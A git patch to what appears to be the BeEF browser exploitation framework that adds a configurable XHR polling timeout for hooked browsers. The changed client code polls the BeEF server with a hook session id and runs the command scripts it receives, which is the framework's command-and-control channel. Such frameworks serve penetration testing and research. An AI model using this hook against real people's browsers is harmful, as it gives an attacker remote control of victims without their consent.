From 4b6130a315217ba23ba4277b048e757ab87afa61 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 21 Nov 2012 06:37:41 +0000 Subject: [PATCH] Added xhr_poll_timeout config to the main config.yaml. This can now be used to decrease/increase polling timeout for the normal XHR-polling communication. --- config.yaml | 6 +++++- core/main/client/updater.js | 10 ++++------ core/main/handlers/modules/beefjs.rb | 3 +++ 3 files changed, 12 insertions(+), 7 deletions(-) diff --git a/config.yaml b/config.yaml index 585d0ef9a..b30b4b245 100644 --- a/config.yaml +++ b/config.yaml @@ -20,6 +20,10 @@ beef: debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace. host: "0.0.0.0" port: "3000" + # Decrease this setting up to 1000 if you want more responsiveness when sending modules and retrieving results. + # It's not advised to decrease it with tons of hooked browsers (more than 50), + # because it might impact performance. Also, enable WebSockets is generally better. + xhr_poll_timeout: 5000 # if running behind a nat set the public ip address here #public: "" #public_port: "" # port setting is experimental @@ -34,7 +38,7 @@ beef: enable: false secure: true # use WebSocketSecure work only on https domain and whit https support enabled in BeEF port: 61985 # WS: good success rate through proxies - secure_port: 61986 # WSS + secure_port: 61986 # WSSecure ws_poll_timeout: 1000 # poll BeEF every second # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header) diff --git a/core/main/client/updater.js b/core/main/client/updater.js index 5ac56823e..5af863d0f 100644 --- a/core/main/client/updater.js +++ b/core/main/client/updater.js @@ -14,7 +14,7 @@ beef.updater = { // Low timeouts combined with the way the framework sends commamd modules result // in instructions being sent repeatedly or complex code. // If you suffer from ADHD, you can decrease this setting. - timeout: 5000, + xhr_poll_timeout: "<%= @xhr_poll_timeout %>", // A lock. lock: false, @@ -42,22 +42,20 @@ beef.updater = { beef.net.flush(); if(beef.commands.length > 0) { this.execute_commands(); - } - - else { + }else { this.get_commands(); /*Polling*/ } } // ( typeof beef.websocket === "undefined") - setTimeout("beef.updater.check();", beef.updater.timeout); + setTimeout("beef.updater.check();", beef.updater.xhr_poll_timeout); }, // Gets new commands from the framework. get_commands: function(http_response) { try { this.lock = true; - beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 1, 'script', function(response) { + beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 5, 'script', function(response) { if (response.body != null && response.body.length > 0) beef.updater.execute_commands(); }); diff --git a/core/main/handlers/modules/beefjs.rb b/core/main/handlers/modules/beefjs.rb index 23fca1321..41b5ac719 100644 --- a/core/main/handlers/modules/beefjs.rb +++ b/core/main/handlers/modules/beefjs.rb @@ -69,6 +69,9 @@ module BeEF hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host) end + # @note set the XHR-polling timeout + hook_session_config['xhr_poll_timeout'] = config.get("beef.http.xhr_poll_timeout") + # @note if http_port <> public_port in config ini, use the public_port unless hook_session_config['beef_public_port'].nil? if hook_session_config['beef_port'] != hook_session_config['beef_public_port']